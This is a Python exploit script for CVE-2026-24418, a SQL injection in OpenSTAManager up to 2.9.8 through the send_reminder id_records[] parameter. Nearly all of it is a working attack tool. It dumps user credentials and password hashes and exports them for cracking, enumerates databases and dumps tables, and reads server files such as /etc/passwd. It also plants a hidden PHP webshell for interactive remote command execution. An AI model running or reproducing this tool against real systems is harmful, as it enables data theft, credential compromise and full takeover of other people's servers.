#!/usr/bin/env python3 import argparse import html import io import json import os import re import sys import time import csv import requests import urllib3 from urllib.parse import urljoin from datetime import datetime if sys.platform == "win32": sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding="utf-8", errors="replace") sys.stderr = io.TextIOWrapper(sys.stderr.buffer, encoding="utf-8", errors="replace") os.system("") urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) BANNER = r""" _______ ________ ___ ___ ___ __ ___ _ _ _ _ __ ___ / ____\ \ / / ____| |__ \ / _ \__ \ / / |__ \| || | | || |/_ |/ _ \ | | \ \ / /| |__ ______ ) | | | | ) / /_ ______ ) | || |_| || |_| | (_) | | | \ \/ / | __|______/ /| | | |/ / '_ \______/ /|__ _|__ _| |> _ < | |____ \ / | |____ / /_| |_| / /| (_) | / /_ | | | | | | (_) | \_____| \/ |______| |____|\___/____\___/ |____| |_| |_| |_|\___/ OpenSTAManager <= 2.9.8 | Error-Based SQL Injection Scadenzario send_reminder id_records[] Parameter """ class Style: R = "\033[91m" G = "\033[92m" Y = "\033[93m" B = "\033[94m" M = "\033[95m" C = "\033[96m" W = "\033[97m" D = "\033[1m" DIM = "\033[2m" X = "\033[0m" BG_R = "\033[41m" BG_G = "\033[42m" BG_B = "\033[44m" def log_info(msg): print(f" {Style.B}[*]{Style.X} {msg}") def log_success(msg): print(f" {Style.G}[+]{Style.X} {msg}") def log_warning(msg): print(f" {Style.Y}[!]{Style.X} {msg}") def log_error(msg): print(f" {Style.R}[-]{Style.X} {msg}") def log_data(label, value): print(f" {Style.C} ├─{Style.X} {Style.D}{label}:{Style.X} {value}") def log_data_last(label, value): print(f" {Style.C} └─{Style.X} {Style.D}{label}:{Style.X} {value}") def separator(char="═", length=62, color=Style.M): print(f" {color}{char * length}{Style.X}") def header(title, color=Style.M): separator(color=color) print(f" {color}║{Style.X} {Style.D}{title}{Style.X}") separator(color=color) class OpenSTAManagerExploit: CHUNK_SIZE = 31 XPATH_PATTERNS = [ re.compile(r"XPATH syntax error:\s*�?39;~(.*?)�?39;", re.IGNORECASE | re.DOTALL), re.compile(r"XPATH syntax error:\s*'~([^']*)'", re.IGNORECASE), re.compile(r"XPATH syntax error:\s*"~(.*?)"", re.IGNORECASE | re.DOTALL), ] def __init__(self, target, username=None, password=None, cookie=None, module_id=18, proxy=None, no_ssl_verify=False, delay=0, output_dir=None): self.target = target.rstrip("/") self.username = username self.password = password self.cookie = cookie self.module_id = module_id self.delay = delay self.output_dir = output_dir self.session = requests.Session() self.session.verify = not no_ssl_verify self.session.headers.update({ "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", }) if proxy: self.session.proxies = {"http": proxy, "https": proxy} self.request_count = 0 self.start_time = None self.collected_hashes = [] self.webshell_url = None if self.output_dir: os.makedirs(self.output_dir, exist_ok=True) def authenticate(self): if self.cookie: self.session.cookies.set("PHPSESSID", self.cookie) log_info(f"Using provided session cookie: {Style.D}{self.cookie}{Style.X}") return self._verify_session() if not self.username or not self.password: log_error("No credentials or session cookie provided.") return False log_info(f"Authenticating as {Style.D}{self.username}{Style.X}") login_url = f"{self.target}/index.php" try: resp = self.session.get(login_url, timeout=15) except requests.exceptions.RequestException as e: log_error(f"Connection failed: {e}") return False token = None for pattern in [ r'name=["\']token["\'][^>]*value=["\']([^"\']+)["\']', r'name=["\']_token["\'][^>]*value=["\']([^"\']+)["\']', r'name=["\']csrf_token["\'][^>]*value=["\']([^"\']+)["\']', r'value=["\']([^"\']+)["\'][^>]*name=["\']token["\']', ]: match = re.search(pattern, resp.text, re.DOTALL) if match: token = match.group(1) break login_data = {"op": "login", "username": self.username, "password": self.password} if token: login_data["token"] = token try: resp = self.session.post(login_url, data=login_data, allow_redirects=True, timeout=15) except requests.exceptions.RequestException as e: log_error(f"Login request failed: {e}") return False session_id = self.session.cookies.get("PHPSESSID", "N/A") if self._is_login_page(resp.text): log_error("Authentication failed. Verify credentials.") return False log_success(f"Authenticated successfully") log_data_last("PHPSESSID", session_id) return True def _verify_session(self): test_result = self._extract_raw("SELECT 1") if test_result is not None: log_success("Session cookie is valid. Injection confirmed.") return True log_error("Session cookie is invalid or injection endpoint is not reachable.") return False def _is_login_page(self, page_text): lower = page_text.lower() login_indicators = ['name="password"', 'op=login', "op=login", 'id="password"'] logout_indicators = ["logout", "op=logout", "module"] has_login = any(ind in lower for ind in login_indicators) has_logout = any(ind in lower for ind in logout_indicators) if has_login and not has_logout: return True return False def _extract_raw(self, sql_expr): if self.delay > 0: time.sleep(self.delay) url = f"{self.target}/actions.php?id_module={self.module_id}" payload = f"-999) AND EXTRACTVALUE(1,CONCAT(0x7e,({sql_expr})))#" try: resp = self.session.post( url, data={"op": "send_reminder", "id_records[]": payload}, timeout=20 ) self.request_count += 1 except requests.exceptions.RequestException: return None for pattern in self.XPATH_PATTERNS: match = pattern.search(resp.text) if match: return html.unescape(match.group(1)) return None def extract(self, sql_query): self.start_time = self.start_time or time.time() result = self._extract_raw(sql_query) if result is None: return None if len(result) < self.CHUNK_SIZE: return result full = "" pos = 1 while True: chunk = self._extract_raw(f"SUBSTRING(({sql_query}),{pos},{self.CHUNK_SIZE})") if not chunk: break full += chunk if len(chunk) < self.CHUNK_SIZE: break pos += self.CHUNK_SIZE return full if full else result def _count(self, query): result = self.extract(query) if result and result.isdigit(): return int(result) return 0 def _save_output(self, filename, data, fmt="json"): if not self.output_dir: return filepath = os.path.join(self.output_dir, filename) if fmt == "json": with open(filepath, "w", encoding="utf-8") as f: json.dump(data, f, indent=2, ensure_ascii=False) elif fmt == "csv": if not data: return with open(filepath, "w", encoding="utf-8", newline="") as f: writer = csv.DictWriter(f, fieldnames=data[0].keys()) writer.writeheader() writer.writerows(data) elif fmt == "raw": with open(filepath, "w", encoding="utf-8") as f: f.write(data if isinstance(data, str) else str(data)) log_success(f"Output saved: {Style.D}{filepath}{Style.X}") def get_info(self): print() header("DATABASE INFORMATION", Style.C) queries = [ ("Version", "SELECT VERSION()"), ("Current User", "SELECT CURRENT_USER()"), ("Database", "SELECT DATABASE()"), ("Hostname", "SELECT @@hostname"), ("Data Directory", "SELECT @@datadir"), ("OS", "SELECT @@version_compile_os"), ("Basedir", "SELECT @@basedir"), ] results = {} for i, (label, query) in enumerate(queries): val = self.extract(query) results[label] = val or "N/A" if i < len(queries) - 1: log_data(label, results[label]) else: log_data_last(label, results[label]) separator(color=Style.C) print() self._save_output("db_info.json", results) return results def check_privileges(self): print() header("PRIVILEGE ENUMERATION", Style.M) current_user = self.extract("SELECT CURRENT_USER()") log_data("Current User", current_user or "N/A") privs = {} priv_checks = [ ("FILE", "SELECT IF(INSTR(CONCAT(',',GROUP_CONCAT(PRIVILEGE_TYPE),','),',FILE,'),'YES','NO') FROM information_schema.user_privileges WHERE GRANTEE=CONCAT('\\'',SUBSTRING_INDEX(CURRENT_USER(),'@',1),'\\'@\\'',SUBSTRING_INDEX(CURRENT_USER(),'@',-1),'\\'')" ), ("SUPER", "SELECT IF(INSTR(CONCAT(',',GROUP_CONCAT(PRIVILEGE_TYPE),','),',SUPER,'),'YES','NO') FROM information_schema.user_privileges WHERE GRANTEE=CONCAT('\\'',SUBSTRING_INDEX(CURRENT_USER(),'@',1),'\\'@\\'',SUBSTRING_INDEX(CURRENT_USER(),'@',-1),'\\'')"), ("PROCESS", "SELECT IF(INSTR(CONCAT(',',GROUP_CONCAT(PRIVILEGE_TYPE),','),',PROCESS,'),'YES','NO') FROM information_schema.user_privileges WHERE GRANTEE=CONCAT('\\'',SUBSTRING_INDEX(CURRENT_USER(),'@',1),'\\'@\\'',SUBSTRING_INDEX(CURRENT_USER(),'@',-1),'\\'')"), ] for priv_name, query in priv_checks: result = self.extract(query) privs[priv_name] = result or "UNKNOWN" color = Style.G if result == "YES" else Style.R if result == "NO" else Style.Y log_data(priv_name, f"{color}{privs[priv_name]}{Style.X}") all_privs = self.extract( "SELECT GROUP_CONCAT(PRIVILEGE_TYPE SEPARATOR ',') FROM information_schema.user_privileges " "WHERE GRANTEE=CONCAT('\\'',SUBSTRING_INDEX(CURRENT_USER(),'@',1),'\\'@\\'',SUBSTRING_INDEX(CURRENT_USER(),'@',-1),'\\'')" ) privs["ALL_GRANTS"] = all_privs or "N/A" log_data_last("All Grants", privs["ALL_GRANTS"]) separator(color=Style.M) if privs.get("FILE") == "YES": log_success(f"{Style.G}FILE privilege detected! --file-read and --webshell may work.{Style.X}") else: log_warning("FILE privilege not detected. File operations may fail.") print() self._save_output("privileges.json", privs) return privs def read_file(self, filepath): print() header(f"FILE READ ─ {filepath}", Style.R) content = self.extract(f"SELECT LOAD_FILE('{filepath}')") if content: log_success(f"File read successful ({len(content)} bytes retrieved)") separator("─", color=Style.DIM) for line in content.split("\n"): print(f" {Style.DIM}│{Style.X} {line}") separator("─", color=Style.DIM) if self.output_dir: safe_name = filepath.replace("/", "_").replace("\\", "_").lstrip("_") self._save_output(f"file_{safe_name}", content, fmt="raw") else: log_error("File read failed. Check FILE privilege or file path.") log_info("Try --privs to check if FILE privilege is available.") separator(color=Style.R) print() return content def read_file_hex(self, filepath): print() header(f"FILE READ (HEX) ─ {filepath}", Style.R) hex_content = "" pos = 1 chunk_hex_size = 31 while True: chunk = self._extract_raw( f"SELECT HEX(SUBSTRING(LOAD_FILE('{filepath}'),{pos},{chunk_hex_size}))" ) if not chunk: break hex_content += chunk if len(chunk) < self.CHUNK_SIZE: break pos += chunk_hex_size if hex_content: try: content = bytes.fromhex(hex_content).decode("utf-8", errors="replace") log_success(f"File read successful ({len(content)} bytes)") separator("─", color=Style.DIM) for line in content.split("\n"): print(f" {Style.DIM}│{Style.X} {line}") separator("─", color=Style.DIM) if self.output_dir: safe_name = filepath.replace("/", "_").replace("\\", "_").lstrip("_") self._save_output(f"file_{safe_name}", content, fmt="raw") separator(color=Style.R) print() return content except (ValueError, UnicodeDecodeError): log_error("Failed to decode hex content.") log_error("File read failed.") separator(color=Style.R) print() return None def write_webshell(self, webroot=None): print() header("WEBSHELL UPLOAD", Style.BG_R) if not webroot: detected = self.extract("SELECT @@secure_file_priv") log_data("secure_file_priv", detected or "NULL (unrestricted)") common_paths = [ "/var/www/html/openstamanager", "/var/www/html", "/var/www", ] for path in common_paths: check = self.extract(f"SELECT IF(LOAD_FILE('{path}/index.php') IS NOT NULL,'EXISTS','NO')") if check == "EXISTS": webroot = path log_success(f"Detected webroot: {Style.D}{webroot}{Style.X}") break if not webroot: webroot = "/var/www/html/openstamanager" log_warning(f"Using default webroot: {webroot}") shell_name = f".8f3k{int(time.time()) % 10000}.php" shell_path = f"{webroot}/{shell_name}" shell_code = '' log_info(f"Writing webshell to: {Style.D}{shell_path}{Style.X}") hex_shell = shell_code.encode().hex() write_query = f"SELECT 0x{hex_shell} INTO DUMPFILE '{shell_path}'" try: url = f"{self.target}/actions.php?id_module={self.module_id}" payload = f"-999) AND ({write_query})#" self.session.post( url, data={"op": "send_reminder", "id_records[]": payload}, timeout=20 ) self.request_count += 1 except requests.exceptions.RequestException: log_error("Request failed during webshell write.") separator(color=Style.R) print() return False shell_url = f"{self.target}/{shell_name}" try: verify = self.session.get(f"{shell_url}?c=id", timeout=10) if "uid=" in verify.text: self.webshell_url = shell_url log_success(f"{Style.G}Webshell uploaded successfully!{Style.X}") log_data("URL", shell_url) log_data("Parameter", "c") log_data_last("Test", verify.text.strip()) separator(color=Style.G) print() return True except requests.exceptions.RequestException: pass alt_paths = [ f"{self.target}/openstamanager/{shell_name}", f"{self.target}/uploads/{shell_name}", ] for alt_url in alt_paths: try: verify = self.session.get(f"{alt_url}?c=id", timeout=5) if "uid=" in verify.text: self.webshell_url = alt_url log_success(f"{Style.G}Webshell uploaded successfully!{Style.X}") log_data("URL", alt_url) log_data_last("Test", verify.text.strip()) separator(color=Style.G) print() return True except requests.exceptions.RequestException: continue secure_priv = self.extract("SELECT @@secure_file_priv") if secure_priv and secure_priv != "NULL": log_error(f"secure_file_priv is set to '{secure_priv}'. Write restricted.") else: log_error("Webshell write failed. FILE privilege may not be available or path is wrong.") log_info("Try: --webshell --webroot /exact/path/to/webroot") separator(color=Style.R) print() return False def interactive_shell(self): if not self.webshell_url: log_error("No active webshell. Run --webshell first.") return print() header("INTERACTIVE SHELL", Style.G) shell_info = None try: resp = self.session.get(f"{self.webshell_url}?c=id;hostname;pwd", timeout=10) shell_info = resp.text.strip() except requests.exceptions.RequestException: pass if shell_info: log_success(f"Connected to: {Style.D}{shell_info.splitlines()[0]}{Style.X}") print(f"\n {Style.Y}Type 'exit' or 'quit' to return. 'upload ' to upload files.{Style.X}") separator("─", color=Style.DIM) while True: try: cmd = input(f"\n {Style.R}shell{Style.X}@{Style.G}target{Style.X}$ ").strip() except (EOFError, KeyboardInterrupt): print() break if not cmd: continue if cmd.lower() in ("exit", "quit"): break try: resp = self.session.get( self.webshell_url, params={"c": cmd}, timeout=30 ) self.request_count += 1 output = resp.text.strip() if output: for line in output.split("\n"): print(f" {line}") else: print(f" {Style.DIM}(no output){Style.X}") except requests.exceptions.RequestException as e: log_error(f"Request failed: {e}") separator(color=Style.G) print() def dump_users(self): count = self._count("SELECT COUNT(*) FROM zz_users") if count == 0: log_warning("No users found in zz_users or table not accessible.") return [] log_info(f"Found {Style.D}{count}{Style.X} user(s) in zz_users") print() header("CREDENTIAL DUMP ─ zz_users", Style.G) users = [] for i in range(count): uid = self.extract(f"SELECT id FROM zz_users LIMIT 1 OFFSET {i}") uname = self.extract(f"SELECT username FROM zz_users LIMIT 1 OFFSET {i}") email = self.extract(f"SELECT email FROM zz_users LIMIT 1 OFFSET {i}") phash = self.extract(f"SELECT password FROM zz_users LIMIT 1 OFFSET {i}") enabled = self.extract(f"SELECT enabled FROM zz_users LIMIT 1 OFFSET {i}") user = { "id": uid or "N/A", "username": uname or "N/A", "email": email or "N/A", "password": phash or "N/A", "enabled": enabled or "N/A", } users.append(user) if phash and phash != "N/A": self.collected_hashes.append({ "username": uname or "unknown", "hash": phash, }) print(f"\n {Style.Y}┌{'─' * 60}┐{Style.X}") print(f" {Style.Y}│{Style.X} {Style.D}User #{i + 1}{Style.X}") print(f" {Style.Y}├{'─' * 60}┤{Style.X}") log_data("ID", user["id"]) log_data("Username", f"{Style.G}{user['username']}{Style.X}") log_data("Email", user["email"]) log_data("Enabled", user["enabled"]) log_data_last("Hash", f"{Style.R}{user['password']}{Style.X}") print(f" {Style.Y}└{'─' * 60}┘{Style.X}") print() separator(color=Style.G) print() self._save_output("users.json", users) self._save_output("users.csv", users, fmt="csv") self._export_hashes() return users def _export_hashes(self): if not self.collected_hashes: return if self.output_dir: hashcat_path = os.path.join(self.output_dir, "hashes_hashcat.txt") john_path = os.path.join(self.output_dir, "hashes_john.txt") with open(hashcat_path, "w", encoding="utf-8") as f: for entry in self.collected_hashes: f.write(f"{entry['hash']}\n") with open(john_path, "w", encoding="utf-8") as f: for entry in self.collected_hashes: f.write(f"{entry['username']}:{entry['hash']}\n") log_success(f"Hashcat format: {Style.D}{hashcat_path}{Style.X}") log_success(f"John format: {Style.D}{john_path}{Style.X}") log_info(f"{Style.DIM}Crack with: hashcat -m 3200 hashes_hashcat.txt wordlist.txt{Style.X}") log_info(f"{Style.DIM}Crack with: john --format=bcrypt hashes_john.txt --wordlist=wordlist.txt{Style.X}") def list_databases(self): count = self._count( "SELECT COUNT(DISTINCT table_schema) FROM information_schema.tables " "WHERE table_schema NOT IN ('information_schema','mysql','performance_schema','sys')" ) if count == 0: log_warning("No databases found or insufficient privileges.") return [] log_info(f"Found {Style.D}{count}{Style.X} database(s)") print() header("DATABASES", Style.B) dbs = [] for i in range(count): db = self.extract( f"SELECT DISTINCT table_schema FROM information_schema.tables " f"WHERE table_schema NOT IN ('information_schema','mysql','performance_schema','sys') " f"LIMIT 1 OFFSET {i}" ) if db: dbs.append(db) tcount = self._count( f"SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='{db}'" ) print(f" {Style.C} ├─{Style.X} {Style.D}{db}{Style.X} {Style.DIM}({tcount} tables){Style.X}") print(f" {Style.C} └─{Style.X} {Style.DIM}Total: {len(dbs)} database(s){Style.X}") separator(color=Style.B) print() self._save_output("databases.json", dbs) return dbs def list_tables(self, database=None): db_filter = f"table_schema='{database}'" if database else "table_schema=DATABASE()" count = self._count( f"SELECT COUNT(*) FROM information_schema.tables WHERE {db_filter}" ) if count == 0: log_warning("No tables found.") return [] db_name = database or self.extract("SELECT DATABASE()") log_info(f"Found {Style.D}{count}{Style.X} table(s) in {Style.D}{db_name}{Style.X}") print() header(f"TABLES ─ {db_name}", Style.Y) tables = [] for i in range(count): tbl = self.extract( f"SELECT table_name FROM information_schema.tables " f"WHERE {db_filter} ORDER BY table_name LIMIT 1 OFFSET {i}" ) if tbl: tables.append(tbl) rcount = self._count(f"SELECT COUNT(*) FROM `{tbl}`") if not database else "?" sym = "├─" if i < count - 1 else "└─" print(f" {Style.C} {sym}{Style.X} {tbl} {Style.DIM}({rcount} rows){Style.X}") separator(color=Style.Y) print() self._save_output("tables.json", {"database": db_name, "tables": tables}) return tables def list_columns(self, table, database=None): db_filter = f"table_schema='{database}'" if database else "table_schema=DATABASE()" count = self._count( f"SELECT COUNT(*) FROM information_schema.columns " f"WHERE {db_filter} AND table_name='{table}'" ) if count == 0: log_warning(f"No columns found for table '{table}'.") return [] log_info(f"Found {Style.D}{count}{Style.X} column(s) in {Style.D}{table}{Style.X}") print() header(f"COLUMNS ─ {table}", Style.M) columns = [] for i in range(count): col = self.extract( f"SELECT column_name FROM information_schema.columns " f"WHERE {db_filter} AND table_name='{table}' " f"ORDER BY ordinal_position LIMIT 1 OFFSET {i}" ) col_type = self.extract( f"SELECT column_type FROM information_schema.columns " f"WHERE {db_filter} AND table_name='{table}' " f"ORDER BY ordinal_position LIMIT 1 OFFSET {i}" ) nullable = self.extract( f"SELECT is_nullable FROM information_schema.columns " f"WHERE {db_filter} AND table_name='{table}' " f"ORDER BY ordinal_position LIMIT 1 OFFSET {i}" ) if col: columns.append({"name": col, "type": col_type, "nullable": nullable}) sym = "├─" if i < count - 1 else "└─" null_flag = f"{Style.Y}NULL{Style.X}" if nullable == "YES" else f"{Style.G}NOT NULL{Style.X}" print(f" {Style.C} {sym}{Style.X} {Style.D}{col}{Style.X} " f"{Style.DIM}{col_type}{Style.X} [{null_flag}]") separator(color=Style.M) print() self._save_output(f"columns_{table}.json", {"table": table, "columns": columns}) return columns def dump_table(self, table, columns, database=None, limit=None): cols = [c.strip() for c in columns.split(",")] count = self._count(f"SELECT COUNT(*) FROM `{table}`") if count == 0: log_warning(f"Table '{table}' is empty or not accessible.") return [] effective_count = min(count, limit) if limit else count log_info(f"Dumping {Style.D}{effective_count}{Style.X}/{count} row(s) from " f"{Style.D}{table}{Style.X} [{', '.join(cols)}]") print() header(f"DATA DUMP ─ {table}", Style.R) rows = [] for i in range(effective_count): row = {} print(f"\n {Style.DIM}── Row {i + 1}/{effective_count} ──{Style.X}") for j, col in enumerate(cols): val = self.extract(f"SELECT `{col}` FROM `{table}` LIMIT 1 OFFSET {i}") row[col] = val or "NULL" if j < len(cols) - 1: log_data(col, row[col]) else: log_data_last(col, row[col]) rows.append(row) print() separator(color=Style.R) print() self._save_output(f"dump_{table}.json", rows) self._save_output(f"dump_{table}.csv", rows, fmt="csv") return rows def custom_query(self, query): print() header("CUSTOM QUERY", Style.B) print(f" {Style.DIM}Query: {query}{Style.X}") separator("─", color=Style.DIM) result = self.extract(query) if result is not None: log_success(f"Result: {Style.D}{result}{Style.X}") else: log_warning("Query returned no result or failed.") separator(color=Style.B) print() return result def print_stats(self): if self.start_time: elapsed = time.time() - self.start_time print(f"\n {Style.DIM}─── Stats: {self.request_count} requests " f"in {elapsed:.1f}s ───{Style.X}\n") def build_parser(): parser = argparse.ArgumentParser( prog="CVE-2026-24418", description="OpenSTAManager <= 2.9.8 Error-Based SQL Injection (Scadenzario Module)", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=f"""{Style.D}Examples:{Style.X} {Style.G}Reconnaissance:{Style.X} %(prog)s -t http://target.com -u admin -p secret --info %(prog)s -t http://target.com -c --privs {Style.G}Credential Extraction:{Style.X} %(prog)s -t http://target.com -u admin -p secret --users %(prog)s -t http://target.com -u admin -p secret --users -o ./loot {Style.G}Full Enumeration:{Style.X} %(prog)s -t http://target.com -u admin -p secret --dbs %(prog)s -t http://target.com -u admin -p secret --tables -D openstamanager %(prog)s -t http://target.com -u admin -p secret --columns -T zz_users %(prog)s -t http://target.com -u admin -p secret --dump -T zz_users -C username,password {Style.G}File Operations:{Style.X} %(prog)s -t http://target.com -u admin -p secret --file-read /etc/passwd %(prog)s -t http://target.com -u admin -p secret --file-read /var/www/html/openstamanager/config.inc.php {Style.G}Remote Code Execution:{Style.X} %(prog)s -t http://target.com -u admin -p secret --webshell %(prog)s -t http://target.com -u admin -p secret --webshell --webroot /var/www/html %(prog)s -t http://target.com -u admin -p secret --rce {Style.G}Through Proxy:{Style.X} %(prog)s -t http://target.com -u admin -p secret --users --proxy http://127.0.0.1:8080 """ ) target_group = parser.add_argument_group(f"{Style.D}Target{Style.X}") target_group.add_argument("-t", "--target", required=True, help="Target base URL (e.g., http://target.com)") auth_group = parser.add_argument_group(f"{Style.D}Authentication{Style.X}") auth_group.add_argument("-u", "--user", help="Username for OpenSTAManager login") auth_group.add_argument("-p", "--password", help="Password for OpenSTAManager login") auth_group.add_argument("-c", "--cookie", help="Use existing PHPSESSID cookie value") enum_group = parser.add_argument_group(f"{Style.D}Enumeration{Style.X}") enum_group.add_argument("-D", "--database", help="Target database name (default: current)") enum_group.add_argument("-T", "--table", help="Target table name") enum_group.add_argument("-C", "--columns-list", metavar="COLS", help="Column names to dump (comma-separated)") enum_group.add_argument("--limit", type=int, help="Limit number of rows to dump") action_group = parser.add_argument_group(f"{Style.D}Actions{Style.X}") action_group.add_argument("--info", action="store_true", help="Retrieve database server information") action_group.add_argument("--users", action="store_true", help="Dump all users from zz_users table") action_group.add_argument("--dbs", action="store_true", help="Enumerate all databases") action_group.add_argument("--tables", action="store_true", help="List tables (use -D to specify database)") action_group.add_argument("--columns", action="store_true", help="List columns of a table (requires -T)") action_group.add_argument("--dump", action="store_true", help="Dump table data (requires -T and -C)") action_group.add_argument("--sql", metavar="QUERY", help="Execute a custom SQL query") action_group.add_argument("--all", action="store_true", help="Run --info, --privs and --users together") action_group.add_argument("--privs", action="store_true", help="Enumerate MySQL user privileges (FILE, SUPER, etc.)") file_group = parser.add_argument_group(f"{Style.D}File Operations{Style.X}") file_group.add_argument("--file-read", metavar="PATH", help="Read a file from the server via LOAD_FILE()") file_group.add_argument("--file-read-hex", metavar="PATH", help="Read a file via HEX encoding (bypass filters)") rce_group = parser.add_argument_group(f"{Style.D}Remote Code Execution{Style.X}") rce_group.add_argument("--webshell", action="store_true", help="Upload a PHP webshell via INTO DUMPFILE") rce_group.add_argument("--webroot", metavar="PATH", help="Webroot path for webshell upload (auto-detected if omitted)") rce_group.add_argument("--rce", action="store_true", help="Interactive command execution via webshell") output_group = parser.add_argument_group(f"{Style.D}Output{Style.X}") output_group.add_argument("-o", "--output", metavar="DIR", help="Save results to directory (JSON, CSV, hash files)") network_group = parser.add_argument_group(f"{Style.D}Network{Style.X}") network_group.add_argument("-m", "--module-id", type=int, default=18, help="Vulnerable module ID (default: 18)") network_group.add_argument("--proxy", help="HTTP proxy (e.g., http://127.0.0.1:8080)") network_group.add_argument("-k", "--no-ssl-verify", action="store_true", help="Disable SSL certificate verification") network_group.add_argument("--delay", type=float, default=0, help="Delay between requests in seconds (default: 0)") return parser def main(): print(f"{Style.R}{BANNER}{Style.X}") print(f" {Style.DIM}github.com/BridgerAlderson{Style.X}\n") parser = build_parser() args = parser.parse_args() if not args.cookie and (not args.user or not args.password): parser.error("Provide credentials (-u/-p) or a session cookie (-c)") has_action = any([args.info, args.users, args.dbs, args.tables, args.columns, args.dump, args.sql, args.all, args.privs, args.file_read, args.file_read_hex, args.webshell, args.rce]) if not has_action: parser.error("No action specified. Use --help to see available options.") if args.columns and not args.table: parser.error("--columns requires -T/--table") if args.dump and (not args.table or not args.columns_list): parser.error("--dump requires both -T/--table and -C/--columns-list") separator("━", color=Style.DIM) exploit = OpenSTAManagerExploit( target=args.target, username=args.user, password=args.password, cookie=args.cookie, module_id=args.module_id, proxy=args.proxy, no_ssl_verify=args.no_ssl_verify, delay=args.delay, output_dir=args.output, ) if not exploit.authenticate(): sys.exit(1) separator("━", color=Style.DIM) try: if args.all or args.info: exploit.get_info() if args.all or args.privs: exploit.check_privileges() if args.all or args.users: exploit.dump_users() if args.dbs: exploit.list_databases() if args.tables: exploit.list_tables(database=args.database) if args.columns: exploit.list_columns(args.table, database=args.database) if args.dump: exploit.dump_table(args.table, args.columns_list, database=args.database, limit=args.limit) if args.sql: exploit.custom_query(args.sql) if args.file_read: exploit.read_file(args.file_read) if args.file_read_hex: exploit.read_file_hex(args.file_read_hex) if args.webshell: exploit.write_webshell(webroot=args.webroot) if args.rce: if not exploit.webshell_url: log_info("No webshell active. Attempting upload first...") if not exploit.write_webshell(webroot=args.webroot): log_error("Cannot start RCE without a webshell.") sys.exit(1) exploit.interactive_shell() except KeyboardInterrupt: print(f"\n\n {Style.Y}[!]{Style.X} Interrupted by user.") exploit.print_stats() if __name__ == "__main__": main()